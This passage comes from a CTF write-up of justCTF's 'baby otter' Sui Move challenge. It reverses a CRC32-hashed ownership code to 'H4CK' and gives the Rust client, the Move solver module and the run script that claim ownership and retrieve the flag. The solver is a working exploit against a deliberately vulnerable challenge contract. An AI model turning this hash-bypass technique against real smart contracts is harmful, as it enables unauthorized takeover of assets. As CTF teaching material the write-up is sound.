        assert!(ownership_code_hash == 1725720156, ERR_INVALID_CODE);
        status.solved = true;

    }

    public entry fun is_owner(status: &mut Status) {
        assert!(status.solved == true, 0);
    }

}

That code creates a struct containing id and status (with False as the default value). With my limited experience in blockchain exploitation, I see that functions with public visibility take precedence because only functions with public visibility that can be accessed from a smartcontract.

We can utilize the request_ownership() function to change the status.solved to true. However, there is a check on the ownership_code variable that has been hashed with a method in the hh() function, which must be the same as 1725720156. Thank you to lunashci for informing me that the hh() function is a CRC32 hash method, he also told me that this hash is reversible and there's a tool for it.

After searching on Google, I found a tool to obtain the original value from a CRC32 hash. Here's the reversed value that I got from using that tool:

So, now we know what value needs to be passed to ownership_code when calling request_ownership() function.

Next, let's delve into the solver part, and focus on these file:

framework-solve/src/main.rs
use std::net::TcpStream;
use std::io::{Read, Write};
use std::str::from_utf8;
use std::{error::Error, fs};
use std::env;

fn main() -> Result<(), Box<dyn Error>> {

    let host = env::var("HOST").unwrap_or_else(|_| "127.0.0.1".to_string());
    let port = env::var("PORT").unwrap_or_else(|_| "31337".to_string());

    match TcpStream::connect(format!("{}:{}", host, port)) {
        Ok(mut stream) => {
            println!("  - Connected!");

            let mod_data : Vec<u8> = fs::read("./solve/build/baby_otter_solution/bytecode_modules/baby_otter_solution.mv").unwrap();
            println!("  - Loaded solution!");

            stream.write_all(&mod_data)?;
            stream.flush()?;
            println!("  - Sent solution!");

            let mut return_data = [0 as u8; 200];
            match stream.read(&mut return_data) {
                Ok(_) => {
                    println!("  - Connection Output: '{}'", from_utf8(&return_data).unwrap()); // Get module address
                    let mut flag = [0 as u8; 200]; 
                    match stream.read(&mut flag) {
                        Ok(_) => {
                            println!("  - Connection Output: '{}'", from_utf8(&flag).unwrap()); // Get flag

                        },
                        Err(e) => {
                            println!("  - Failed to receive data: {}", e);
                        }
                    }
                },
                Err(e) => {
                    println!("  - Failed to receive data: {}", e);
                }
            }
        },
        Err(e) => {
            println!("  - Failed to connect: {}", e);
        }
    }
    println!("  - Terminated.");

    Ok(())
}

In that script, there is a configuration for the target server's host and port for contract deployment. We need to replace the HOST and PORT with the given service information (HOST="babyotter.nc.jctf.pro" & PORT="1337")

framework-solve/solve/sources/solve.move
module solution::baby_otter_solution {
    use sui::tx_context::TxContext;
    use challenge::baby_otter_challenge;

    public entry fun solve(status: &mut baby_otter_challenge::Status, ctx: &mut TxContext) {
        
    }
}

In that script we're given a file that defines a solve() function (I assume it's a template file helping us to solve these challenges). So what we need to do is, call a request_ownership function from baby_otter_challenge and pass status, "H4CK" with vector u8 type data, and ctx as its argument; and call is_owner() function from baby_otter_challenge.

Solver script:
module solution::baby_otter_solution {
    use sui::tx_context::TxContext;
    use challenge::baby_otter_challenge;
    use std::vector;

    public entry fun solve(status: &mut baby_otter_challenge::Status, ctx: &mut TxContext) {

        let hashcode: vector<u8> = vector::empty<u8>();
        vector::append<u8>(&mut hashcode, b"H");
        vector::append<u8>(&mut hashcode, b"4");
        vector::append<u8>(&mut hashcode, b"C");
        vector::append<u8>(&mut hashcode, b"K");

        baby_otter_challenge::request_ownership(status, hashcode, ctx);
        baby_otter_challenge::is_owner(status);
    }
}

To send the payload, execute the provided run_client.sh file.

run_client.sh
set -eux

cd framework-solve/solve && sui move build
cd ..
cargo r --release

Flag: justCTF{w3lc0me_in_the_l3ague_of_Otter!}

Made with♥️by CCUG Core Team.